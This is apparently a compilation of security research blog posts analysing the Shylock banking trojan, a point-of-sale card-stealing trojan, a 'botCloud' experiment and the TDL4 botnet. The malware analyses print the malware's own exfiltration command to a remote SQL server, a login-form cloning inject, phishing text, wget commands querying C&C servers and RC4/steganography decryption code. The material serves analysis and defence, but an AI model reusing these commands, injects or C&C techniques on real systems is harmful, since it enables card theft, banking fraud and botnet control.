The modified domain name will successfully resolve and will be used for communications. The same domain name will then be used to form an encryption key - Shylock appends a hard-coded string 'ca5f2abe' to the modified domain name, and then uses that string as a seed to generate a 256-byte RC4 key. The new RC4 key is then used to encrypt the transferred data. Once encrypted, the data is base-64 encoded, URL-escaped, and passed as a request to the C&C server within a z= URL parameter in it, e.g.:[encrypted_data]

where [encrypted_data] is a result of:

url_escape(base64_encode(RC_encrypt(url_escape(text_log), "ei0nciwerq7q8.wguards.ccca5f2abe")))

The C&C server thus reads z= parameter contents, url-unescapes it, base64-decodes it, then RC4-decrypts it by using the server's own name with 'ca5f2abe' string appended and used as a password, then url-unescapes the resulting data which is a plain text.

By taking the source code of the functions rc4_init() and rc4_crypt(), published earlier in this post, and then calling them with the modified domain name used as RC4 'password', Shylock traffic can now be fully decrypted, as demonstrated below:

As seen on a picture, the posted 'cmpinfo' data is accompanied with a control sum and a hash to ensure data integrity ('key' and 'id'), it shows an installation mode ('master'), botnet name ('net2'), command name ('log'). The data includes system snapshot log that enlists running processes, installed applications, programs registered to run at startup, HDD/CPU system info, and many other details about the compromised OS. Shylock also recognises and reports all major antivirus/firewall products by querying a long list of process names and registry entries.

The executable drops its own copy as a temp file, registers itself in a start-up registry key, then injects into svchost.exe and explorer.exe and runs a self-termination batch script, thus quitting its 'installation' phase of running.

When Shylock requests configuration data from the server, it uses a 'cmd' (command) parameter set to 'cfg' (configuration).

Let's manually construct a request 'net=net2&cmd=cfg', then feed it to the debugged code to calculate the 'key' and 'id' parameters for us. The resulting request will be:


The C&C we'll use will be, so let's encrypt it with the RC4 key of 'y85rqmnuemzxu5z.iprotections.suca5f2abe', and then base64-encode it. The server will reply with the base64-encoded text to such request, transferred via HTTPS:

Once this response is base64-decoded, it needs to be decrypted. The key used to encrypt this data is not the same as before. It is an 'id' value that was passed inside the request to the server, i.e. '47E8ABF258AB82ECEF14F79B37177391' in our example above. By using this value as RC4 'password', the server response can now be decrypted with the same tool as before. The decrypted file turns out to be an XML file with the configuration parameters in it:
      <botnet name="net2"/>
      <timer_cfg success="1200" fail="1200"/>
      <timer_log success="600" fail="600"/>
      <timer_ping success="1200" fail="1200"/>
            <url_server url=""/>
            <url_server url=""/>
            <url_server url=""/>
... and so on

The XML enlists other plugin URLs, backconnect server IP and port number used by the reverse SOCKS proxy server connection for live VNC sessions, URL of the latest Shylock executable for an update. All the most important plugins contained in the configuration file were already explained before. The C&C list is refreshed with the new servers. The last remaining bit here is an 'httpinject' parameter specified as:
<httpinject value="on" url="/files/hidden7770777.jpg" md5="c2ffb650839873a332125e7823d36f9e"/>
It's the same name as the one specified in the executable stub along with 3 other C&C URLs, only now it's clear this file contains browser injection/redirection logic. So let's fetch this file by directly downloading it from C&C as a static file.

The downloaded file is compressed with zlib v1.2.3; once decompressed, it shows all web inject logic employed by Shylock.

Web Injects

The web injects of Shylock work by intercepting online banking sessions and injecting extra HTML data. Analysis of the configuration data suggests that Shylock attacks mostly UK banks.

There are several types of data that Shylock replaces on a web page. In one type, Shylock replaces the phone numbers provided at the bank's site. In the example below, the trojan modifies the bank's complaint form - an inset shows what the original form is replaced with:

In other cases, the web pages themselves are not modified - only the enlisted phone numbers are replaced.

Calling the replacement phone number leads to the following auto-reply message (actual audio recording):

Auto Reply Message

The injection of the phone numbers into the web sites are most likely designed to prevent resolution scenarios when customers receive a phishing email, or get concerned about the stolen funds or compromised accounts. In case of a security breach, the natural thing to do for many is to open the bank's website and look up the telephone numbers to call the bank and cancel the credit card, or lock other accounts. By accessing the bank site through the same compromised system, the issues that need to be addressed as quick as possible, might not be addressed when the time is critical.

Apart from the phone number replacements, online banking login forms are simply blocked from being displayed by settings their CSS style into:
In another scenario, the web inject contains JQuery script that detects the login form on a page, then clones it with JQuery's .clone() command:
var ombtrwcf756gsw = frm.clone(false).insertAfter(frm).show().attr('id', 'log-on-form');
The screenshot below shows the result of such cloning:

The original login form is then hidden from the user:
Once the user fills out the cloned form with the login details and then presses its Login button, the entered details will populate the original form, that will then be submitted by clicking the original Login button, in order to allow the user to log on successfully:
At the same time, the fields of the cloned form will be posted to the attacker's server (cross-domain) in the background (with XDomainRequest()).

The injects that collect personal information use tricky social engineering tactics, referring to existing malware as a leverage to build trust to the compromised session:

Attention! Due recent new strains of malicious software such as Zeus and Spy Eye that have been targeting users of US Internet Banking website, we are forced to perform additional security checks on your computer.
We are now checking your system to make sure that your connection is secure. It allows us to ensure that your system is not infected.
Checking your settings frequently, allows you to keep your data intact. Keeping your Anti-Virus programs up to date is strongly recommended.
This process undergoes an additional layer of protection, identifying you as the authorised account user. Interrupting the test may lead to a delay in accessing your account online.
Checking browser settings...0%
Checking log files...
Checking encryption settings...

Another example:

A critical error has occurred. We could not recognize Your internet browser's security settings. This could be because You are using different web browser or different PC.
In order to confirm Your identify, we will send you a text message with one time password.
Below is the contact information we have on record for you that is eligible for the security check. If you have recently changed your contact information it may not be displayed.
Note: For security reasons, we have hidden parts of your contact information below with "xxx"

The injected scripts are relying on a powerful and modern script engine JQuery that allows Shylock to manipulate online banking sessions the way it needs to. The harvested credit card numbers are even queried against the remote attacker's site to undergo a validation. The scripts it injects rely on other scripts, dynamically downloaded from the malicious websites. That allows the attacker to manipulate Shylock logic by updating those scripts, without even touching the command-and-control servers.


What makes Shylock dangerous is that it's a classic 'Blended Threat' by definition: a combination of best-of-breed malware techniques that evolved over time:
  • Disk spreader, Skype spreader

  • Kernel-mode rootkit, Bootkit

  • VNC with Back-connect Proxy server

  • FTP credentials stealer

  • Banking Trojan

Its technology is out there, 'in the wild', all it takes now is to change the inject scripts to start targeting any other bank in the world. As it already happened before with ZeuS, it is now a matter of time before it starts targeting other banks' customers.

Wednesday, 13 February 2013

PIN or Sign?

This week our lab came across an interesting trojan that targets point-of-sale (POS) terminals. This type of malware is relatively new, but it quickly gains traction - and here is why:

Conventional 'card skimming' practice is increasingly becoming prohibitive for the criminals - too much exposure, too much risk, and too little reward. The Australian Police force is also becoming very effective in busting the masterminds of card skimming rackets.

As a result, the criminals have started looking for new methods of compromising credit cards (well, they never stopped), and this particular trojan is a good evidence of their aspirations to evolve.

The trojan targets one particular type of POS software - StoreLine WinPOS, developed by Retalix.

For reference, large retail companies in Australia and New Zealand are now entering into agreement with Retalix to provide support for thousands of point-of-sale (POS) terminals, serving millions of customers every week.

Operation in a nutshell

As seen in this example, the StoreLine WinPOS software can be used at petrol stations. It is installed both at the main back office server, and at the cash office workstations, to handle checkout transactions. As soon as a customer swipes credit card to make a purchase, the data read from the credit card's magnetic stripe (the contents of tracks #1 and #2) gets processed by the software. At this point, the trojan intercepts the data right from the memory of the process PosW32.exe, locates the tracks' data, then encrypts it and posts it to a remote server.

Once the attackers retrieve intercepted credit card details from the remote server, they can now clone the credit cards, and use them to clear the funds. This way, the actual robbery is committed long time after the details are hijacked, it happens at the scattered locations, and is not limited with the cash amounts kept at the store.

One approach to infect the servers running the POS software assumes an insider job, either from (corrupt) technical personnel or someone else who has physical access to the point-of-sale hardware or its network.

Technical Details

Once executed, the trojan performs the following actions:

  • Creates a service called Retalix; the service is set up to ignore errors, and auto-start with the start of the system

  • Sets its own full path name as an executable path for the newly created service

  • Changes the failure action parameters of a service (SERVICE_CONFIG_FAILURE_ACTIONS) so that in case of a failure, the service gets restarted 2 minutes after first, second and any subsequent failure within the service

  • Runs:
    cmd /c net start Retalix
    in order to start itself as a service

Once the trojan is started as a service, it grants itself SeDebugPrivilege and SeTcbPrivilege privileges that allow it to call debugging functions, such as ReadProcessMemory(), and act as part of the operating system.

Next, it enumerates all the processes with EnumProcesses() in order to find a process called PosW32.exe - the targeted StoreLine WinPOS software. If this process exists, it will then read its memory with ReadProcessMemory() and parse it looking for the field separator characters such as '^' and '='. These separators are used to analyse data found between them, validate it to make sure it consists of allowed characters only and that the data length is valid too. This way, the malware detects data stored on tracks 1 and 2 of the credit card's magnetic stripe in a specific format, similar to the one below:

Track 1:   %B4711223344556677^CITIZEN/JOHN^1501101000000012300000?
Track 2:   ;4711223344556677=15011010000012300000?

  • 4711 2233 4455 6677 - credit card number

  • JOHN CITIZEN - card holder

  • 1501 - expiry date (January 2015)

  • 1 - International interchange OK

  • 0 - Normal

  • 1 - No restrictions, No PIN required

  • ...

  • 123 - Card Verification Value or Card Verification Code (CVV/CVC)

As soon as the tracks' data is recovered, the trojan encodes it with Base64 algorithm, using a custom alphabet.

The encoded data is then submitted to a remote SQL server by running a stand-alone tool with the following parameters:

svchosts.exe -S MFS1 -U sa -P -Q "INSERT INTO OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=[REMOTE_IP],443;uid=sa;pwd=[PASSWORD]', 'SELECT tab from rec..tbl') SELECT '[ENCRYPTED_DATA]'"

The [REMOTE_IP] is the IP address of the remote SQL server. In the analysed sample, there are 2 IP addresses used - one hosted in Romania, and another one hosted in Germany.

The trojan relies on existence of the tool svchosts.exe, that could be a legitimate SQL command line tool similar to DTM ODBC SQL runner.

The database it tries to populate is called 'rec', the table is 'tbl'. The switch -S seems to specify the client's host name - 'MFS1', which is identical to the main back office server name of the Retalix system, where the store environment is managed from, and where the data on the POS is maintained. This indicates that the trojan aims to be installed at the back office, as shown below:


By attacking POS infrastructure, no skimming devices, no high risks, and no travelling (as demonstrated in this video) is required anymore.

With all the other security mechanisms around the other parts of the transaction (guards, CCTV, traffic encryption, etc.), attackers seem to have shifted their focus to a weaker link of the chain.

Sunday, 28 October 2012

botCloud – an emerging platform for cyber-attacks

Hosting network services on Cloud platforms is getting more and more popular. It is not in the scope of this article to elaborate the advantage of using Cloud computing, instead, as the title of might have already inspired you, here we discuss the potential benefits available to malicious entities in using a Cloud platform (CP). In particular, we are going to see:

  • What benefits do attackers get by using CP for their nefarious purposes?
  • Can a CP be programmed to launch security attacks, propagate malware, or perform denial-of-service attacks?
  • Are the current security features of CP providers robust in their detection and prevention of malicious usage? 

  • The questions above were based a research study conducted at the Stratsec IT Security Winter School 2012[1]. The objective of this research was to investigate the security posture of Cloud providers in protecting against malicious usage (the security point of view), as well as assessing the effectiveness of such CPs for launching malicious activities (the attacker point of view). We define “botCloud” as a group of Cloud instances that are commanded and controlled by a malicious entity to initiate cyber-attacks.


    The research was initiated by subscribing to five common Cloud providers and setting up to 10 Cloud instances (virtual machines) at each provider to form the attacker hosts. The target (victim) hosts were setup virtually in a controlled network environment. A public IP address as well as a DNS name was associated to each of victim hosts where the traffic from attacker hosts could be directed. All network traffic from the attacker was monitored and recorded. Each victim host was equipped with typical public network services such as Web, FTP and SMTP.
    One of the main questions was to identify the type and nature of tests that we could run on each attacker host against the victim hosts. We selected a set of test cases that are commonly used by security professionals to benchmark security systems. These test cases included:

  • Malformed traffic: Sending a series of non-RFC compliant packets, as well as aggressive port scanning.
  • Malware traffic: Sending a set of publicly known and commonly detected malware to the victim host via a ‘reverse shell’.
  • Denial of service: Sending a flood of traffic to a web server on the victim host.
  • Brute force: Attempting to brute-force the password for the credentials on the FTP service.
  • Shellcode: Launching a set of known shellcodes against various services running on the victim host.
  • Web application: Launching commonly known web application attacks against the victim host including SQL injection, cross-site scripting, path traversal, etc.

  • In order to further verify that the test cases were detectable by the security systems, we setup an off-the-shelf intrusion detection system (IDS) with its default configuration on the victim host. The IDS was set to monitor all network traffic sent to and received from the attack hosts, and to log and alert on possible incidents.


    We conducted the four experiments listed below, based on the duration of running each test case and location of the victim host. The description of each experiment is as flow.

  • Experiment 1: The victim host was placed in a typical network environment with a public IP address, firewall and IDS. The test cases were executed on each of the attack hosts all targeting the single victim host. The purpose here was to investigate the security posture of CPs in the event of outbound “malicious” traffic.
  • Experiment 2: The victim host was setup as a Cloud instance (instead of a host in a local environment). Using the internal network connection amongst Cloud instances, the test cases were launch against the victim host. The purpose here was to benchmark the security posture of CPs when the traffic transmitted within Cloud’s internal network instances.
  • Experiment 3: With a similar setup to the previous experiment, we executed the test cases on the Cloud platform other than the one running the victim host. The idea here was to investigate the security of CPs when the traffic comes from an external network.
  • Experiment 4: With a similar setup to experiment 1, we increased the duration of the test cases execution. We selected some of test cases (e.g. full TCP handshake port scanning) and execute them for nearly 48 hours. The idea here was to investigate if duration of the test case execution and the volume of the generated traffic can cause impact on the result of the experiment.
  • Figure 1 illustrates the conceptual framework of the experiment. The Cloud instances and Test server are respectively attacker and victim hosts. We used Monitoring and Command and control hosts to monitor network traffics and send commands to Cloud instances.

    Figure 1: the experiment conceptual framework

    The experiment was conducted over a period of 21 days. We measured the CPU and network bandwidth usages of each attack host using both the CP’s API and a monitoring program running on each host. Additionally, we captured and recorded the generated network traffic.

    Results and observation

    The below illustrates the result of the experiment from two perspectives – the security posture of CPs, and the benefits for malicious entities.

    Security posture of the Cloud platforms

    During the execution of the test cases, although we were expecting responses from Cloud providers, our observations on the five tested Cloud providers showed that:

  • No connection reset or connection termination on the outbound or inbound network traffic;
  • No connection reset or termination against the internal malicious traffic;
  • No traffic was throttled or rate limited;
  • No warning emails, alerts, or phone calls were generated by the Cloud providers, with no temporary or permanent account suspensions;
  • Only one Cloud provider by default blocked inbound and outbound traffic on SSH, FTP and SMTP, however these limitation was bypassed by running the above service on non-default port.

  • Benefit for malicious entities

    From the perspective of a malicious entity using the Cloud as an attack platform has potentially the following benefits:

  • Relatively easy to setup and use: compared with a traditional botnet setup where an attacker  generally requires extensive knowledge about programming languages, software vulnerabilities and networking, it is relatively easy to setup a botCloud.  Here, attackers require familiarisation with the CPs API as well as system administration knowledge.
  • Significantly less time to build: in a typical botnet setup an attacker must find a list of victims, bypass the victim’s security systems (e.g. anti-virus, anti-spam filter) to propagate malware, and then hope for execution of the malware on the victim’s machine in order to turn it into a zombie box. In a botCloud setup, it takes a matter of minutes to create a large number of clones of a Cloud instance. This makes it virtually effortless to create tens to hundreds of cloned instances in which to launch attacks from.
  • Highly reliable and scalable: scalability and reliability are the two important factors that have attracted lots of organisation to the Cloud.  Given this appeal, they can also give attackers a more stable platform for launching attacks. This can be compared with traditional botnets where a zombie boxes might become unresponsive or be taken offline completely.
  • More effective: attackers can fully utilise the fast CPUs and network infrastructure on the Cloud instances where in the case of a traditional botnets, the attacker is limited to the resources available on the zombie boxes.
  • Low cost: base on our experiment, with the budget of as low as $7 and minimum hardware specification, it is possible to setup a botCloud with tens to hundreds of Cloud instances. Figure 2 illustrates the CPU and outbound network usage for the first experiment on one of the Cloud providers. The average CPU usage (dotted line) is less than 20% and the network outbound traffic less than 0.2 megabytes (1.5 megabits). This figure shows that the volume of resources required for running a botCloud can be relatively low, depends on type of attack.

  • Figure 2: CPU and outbound network bandwidth usage for the first experiment on one of the Cloud providers


    The research investigated the security posture of Cloud platforms against malicious usage, as well as the effectiveness of setting up a botCloud using this infrastructure. We define “botCloud” as a group of Cloud instances that are commanded and controlled by malicious entity to initiate cyber-security attacks. A set of common test benchmarks were executed on platforms run on five public Cloud providers against a set of test servers. The results of the experiment showed that no connections were reset or terminated when transmitting inbound and outbound malicious traffic, no alerts were raised to the owner of the accounts, and no restrictions were placed on the Cloud instances. From malicious entity’s point of view, the botCloud was relatively easy to setup; requiring significantly less time to build, and considered highly reliable when compare to a traditional botnet. Furthermore, the resource consumption for running a botCloud was found to be relatively low and can potentially be setup with a limited budget. For organisations that are seeking to host their services on the cloud, if you have a mature technical security capability with your on-site solutions, you may find higher likelihood of compromise, reduced likelihood of notification attack and possible difficulties in investigation and response when you move toward Cloud hosted services. The following are quick words of advice if your organisation is moving to Cloud computing:

  • Look for security features such as high-end firewall and IDS when you choosing a Cloud provider.
  • Does the Cloud provider undertake regular security testing of their environment? If so is this done independently?  Can you validate them to see if they meet your expectations? Be diligent in your investigations and consider how the Cloud provider’s security model fits with your enterprise security architecture.
  • Think about services you are planning to host on the Cloud. Do not get temped with ease of use and cheap cost.
  • Be aware of a possible botCloud attack. The traffic that is coming from public Cloud providers should not necessary be deemed safe.

  • Acknowledgements: This article was written by Pedram Hayati, based on research completed by the Cloud Security Research Group of the Stratsec Winter School, comprising Jia Jindou from Beijing university, China, Daria Rvacheva from Moscow state university, Russia and Pedram Hayati, Senior Consultant, BAE Systems Stratsec.

    [1] The Stratsec Winter School is an ongoing initiative which seeks to drew talented individuals from academic institutions to take part in a suite of intensive research projects of interest to themselves, Stratsec and UniSA, on topics of Information Security

    Tuesday, 23 October 2012

    Analysis of TDL4 (Part III)

    More About steganography

    A closer look at the COM32 component of TDL4, a component that decrypts configuration text from the JPEG images hosted at and posted into the blogs, reveals that COM32 is a rip-off of the open source project called Steghide - a steganography program, developed by Stefan Hetzl.

    Because COM32 is compiled from the publicly available source files, you don't even need to download COM32 module to decrypt the images. Just download the Steghide software, and run it against a JPEG image that can be found on TDL4 blogs.

    For example, configuration text from the images 1, 2, and 3 can be recovered by running Steghide as:

    steghide.exe extract -sf image.jpg -p A6rprm09lZnVsCn -xf config.txt

    Text from another blog's images (4, 5, and 6) can be obtained by running Steghide as:

    steghide.exe extract -sf image.jpg -p TOWasfO03gGff58 -xf config.txt

    where A6rprm09lZnVsCn and TOWasfO03gGff58 are the passphrases resulted after decrypting the strings jt5G/KE25R1VSaYny0rr and m6dj7aA9mhQKdI8X3jy9 from the original configuration file by using RC4 key #1.

    BBR232/BBR264 and SERF332/SERF364

    These additional modules are downloaded from C&C servers and then loaded into the address space of the browsers. Their purpose is to hijack browsing activity and to re-direct users into various dodgy websites, skewing Google search results, and also serving pop-ups with fake AV products, porn, gambling sites, etc.

    To fetch the modules from C&C, the following URL parameters are used:

    mode=mod&filename=bbr232 encrypted as CehOKSsUCKLC3skBxcO9fFpCcHXx4Nlw
    mode=mod&filename=serf332 encrypted as CehOKSsUCKLC3skBxcO9fFpCYXLxtNlxPw==

    Thus, wget will fetch them when run as:

    wget -U "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv: GeckaSeka/20090911 Firefox/3.5.1"
    wget -U "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv: GeckaSeka/20090911 Firefox/3.5.1"

    Once decrypted the same way as demonstrated in the previous blog post, BBR232 reveals itself as a module that hijacks Internet Explorer, Chrome, Safari, Opera, Firefox, and Opera browsers. SERF332 is designed for Internet Explorer only as it relies on parsing the window structure of the browser process. BBR264 and SERF364 modules are designed to support 64-bit versions of the browsers.

    For example, when processing an intercepted GET request below:

    .text:100156E3 mov edi, ds:StrCmpNIA
    .text:100156E9 push 4
    .text:100156EB push offset aGet ; "GET "
    .text:100156F0 push ebx
    .text:100156F1 call edi ; StrCmpNIA
    .text:100156F3 test eax, eax
    .text:100156F5 jnz short check_POST_Request
    .text:100156F7 mov edx, [esp+20h+var_10]
    .text:100156FB push edx
    .text:100156FC mov ecx, ebx
    .text:100156FE call process_GET_request
    BBR232 will make sure the host name does not contain any of the following strings:

    • yimg.


    • google.

    • .google

    • bing.

    • yahoo.

    • atdmt.

    • aolcdn.


    • .aol.



    • .icq.


    • .gstatic.




    • .everesttech.

    • .ixnp.

    • googleapis.

    • .alexametrics.


    • alltheweb.

    • altavista.

    • microsofttranslator.

    • microsofttranslator.

    • askcache.




    • gesualdo.alexa.

    BBR232 will also make sure that the requested web page is not pre-fetched by the browser.

    In addition, it makes sure the URL string does not include the following strings:

    • search/cache

    • /search/search

    • search/redir



    • recaptcha_ajax.js





    • facebook.

    Next, BBR232 is able to modify the requested URL by replacing the HTTP referer in it, or replacing some URL parameters, such as "url=". The hijacking logic of what needs to be modified in the browser session is defined by a configuration file, where page redirects or HTTP referer replacements are defined in the sections enclosed with the tags [redir_urls_begin]/[redir_urls_end], and [ref_replace_begin]/[ref_replace_end] respectively. The redirect configuration may potentially be fetched from the servers:




    As a result, when the user clicks a link returned by Google Search, the "url=" parameter will be replaced with a different web page, leading to skewed analytics, fraudulent monetization via AdSense, clickjacking, Search Engine Optimisation (SEO) poisoning, and other click fraud that constitutes the "cash cow" business for the TDL/TDSS group.

    Analysis of TDL4 (Part II)


    As mentioned in the previous blog post, TDL4 has a component called CMD32/CMD64 that fetches JPEG images from the blogs specified in its configuration file. In order to recover the configurations, CMD32/CMD64 calls Init() and Uninit() functions that are implemented in the 'missing' component COM32/COM64.

    Without this component and without knowing what steganography algorithm is used to conceal the text within the images, it is impossible to recover the text.

    To download the COM32 component, the C&C server should be queried with a parameter mode=mod&filename=com32. Previous post explained how to encrypt this parameter. The server will also require the 'GeckaSeka' user agent, otherwise it'll ignore us.

    The following parameters for wget will fetch an encrypted COM32 module from the C&C server:

    wget.exe -U "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv: GeckaSeka/20090911 Firefox/3.5.1"

    Now, in order to decrypt the received module, the RC4 key #1 will be used, as shown below:

    prepare_seed(seed1); // for the received file
    decrypt_file("%received_com32_module%", seed1);
    where seed1, as before, is ripped from the CMD32 module:

    BYTE seed1[256] =
    With the same RC4 decryptor, the file decryption routine is implemented as:

    void decrypt_file(LPTSTR szFileName, LPBYTE seed)

    HANDLE hFile = NULL;
    HANDLE hMap = NULL;
    LPBYTE lpbyBase = NULL;
    DWORD dwSize = 0;
    BYTE bRet = 0;

    if ((hFile = CreateFile(szFileName,

    if (((dwSize = GetFileSize(hFile, NULL)) != INVALID_FILE_SIZE) &&
    ((hMap = CreateFileMapping(hFile,
    NULL)) != NULL))
    if ((lpbyBase = (LPBYTE)MapViewOfFile(hMap,
    0)) != NULL)

    RC4KEY rc4_key;
    rc4_init(seed, 256, &rc4_key);
    rc4_crypt(lpbyBase, dwSize, &rc4_key);


    The decrypted file is indeed a DLL file that exports Init() and Uninit() APIs. Without even trying to understand the steganography algorithm implemented in it, let's load it up and try to call its exports in order to decrypt the JPEG images posted into the blogs, specified in the MAIN configuration file as:


    Needless to say, the COM32 Dll should always be loaded in the controlled environment (treated as a malware) as the online version of it might be updated with malicious code any time.

    In order to call Init() and Uninit(), first we need to understand what parameters are expected by these functions.

    As seen in the disassembled code below, the Init() function accepts 5 parameters: a pointer into JPEG buffer, its size, pointer into the address of the decoded configuration data, its returned size, and finally, a JPEG steganography password.

    .text:10003782 mov ecx, [esi] ; decrypted JPEG password
    .text:10003784 push ecx
    .text:10003785 lea edx, [esp+62D4h+Size] ; returned configuration size
    .text:10003789 push edx
    .text:1000378A lea eax, [esp+62D8h+lpConfig] ; pointer into configuration
    .text:1000378E push eax
    .text:1000378F push ebp ; JPEG file (buffer) size
    .text:10003790 push ebx ; pointer into JPEG raw buffer
    .text:10003791 call [esp+62E4h+lpfnInit]
    JPEG steganography password is recovered by decrypting the righ-hand part of the blog URL specified in the configuration (as shown above). For example, to decrypt all images from the Skylaco[censored] blog, the string m6dj7aA9mhQKdI8X3jy9 should be decrypted with the RC4 key #1, and then passed to the Init() function within COM32 Dll.

    The Init() function will allocate memory where it will unpack the configuration. As shown on the listing below, it will then save the recovered configuration back into the memory section of the infected host process, then pass the pointer of the allocated memory buffer to Uninit() function in order to de-allocate the memory:

    .text:100037DF mov eax, [esp+62D0h+lpConfig] ; get config pointer
    .text:100037E3 push offset aMain_0 ; "main"
    .text:100037E8 call save_into_host_image
    .text:100037ED test eax, eax
    .text:100037EF jz start_over_again
    .text:100037F5 mov eax, [esp+62D0h+lpConfig] ; get config pointer
    .text:100037F9 push eax
    .text:100037FA call [esp+62D4h+lpfnUninit] ; pass it to Uninit()
    Knowing exactly what parameters are used for Init() and Uninit(), let's declare the prototype for these functions:

    typedef WINADVAPI BYTE (WINAPI *FINIT)(LPBYTE abyJpegBuffer,
    DWORD dwJpegSize,
    LPDWORD lpdwConfigPointer,
    LPDWORD lpdwSize,
    LPSTR szJpegKey);
    typedef WINADVAPI BYTE (WINAPI *FUNINIT)(DWORD dwConfigPointer);

    FINIT lpfnInit = NULL;
    FUNINIT lpfnUninit = NULL;
    Next, let's call the function that will decrypt the downloaded JPEG image, passing it the JPEG steganography password that is specified in the configuration:

    decrypt_jpeg("%downloaded_jpeg_file%", "jt5G/KE25R1VSaYny0rr");
    where decrypt_jpeg() function is implemented as shown below:

    void decrypt_jpeg(LPSTR szFileName, LPSTR szJpegKeyBase64)
    char zJpegKey[MAX_PATH];

    decrypt(szJpegKeyBase64, szJpegKey, seed1);

    HANDLE hFile = NULL;
    HANDLE hMap = NULL;
    LPBYTE lpbyBase = NULL;
    DWORD dwSize = 0;

    DWORD dwConfigPointer;
    DWORD dwConfigSize;
    DWORD dwBytesWritten;

    char szConfigTxt[MAX_PATH];
    HANDLE hConfigTxt = NULL;

    HINSTANCE hCom32 = LoadLibrary("%decrypted_com32_module%");
    if (hCom32 == NULL)

    lpfnInit = (FINIT)GetProcAddress(hCom32, "Init");
    lpfnUninit = (FUNINIT)GetProcAddress(hCom32, "Uninit");

    if ((lpfnInit == NULL) || (lpfnUninit == NULL))

    if ((hFile = CreateFile(szFileName,

    if (((dwSize = GetFileSize(hFile, NULL)) != INVALID_FILE_SIZE) &&
    ((hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) != NULL))
    if ((lpbyBase = (LPBYTE)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0)) != NULL)

    dwConfigSize = 0;
    dwConfigPointer = 0;

    if (lpfnInit(lpbyBase,
    if (dwConfigPointer && dwConfigSize)
    sprintf_s(szConfigTxt, MAX_PATH, "%s.txt", szFileName);

    if ((hConfigTxt = CreateFile(szConfigTxt,





    Applying this function over an image downloaded from one of the blogs above (the actual image below doesn't have an embedded text - it was stripped as the image was processed, the original image is available here):

    reveals full configuration file that includes new C&C servers in it:

    Applying this function over all JPEG images from the 2 previously mentioned blogs, allows assembling the C&C domain list below:











































    Once the new C&C servers go live, TDL4 will visit them and request updated configuration from them. The new configuration may specify different blogs with the different posted JPEG images, and new configuration data embedded in them, pointing into the new domains. This vicious cycle may potentially go on indefinitely. Until there is at least one live domain or one live blog, the masterminds behind the botnet have a chance to inject a new portion of the domains and blogs into this deadly whirlpool, preserving full control over the victims.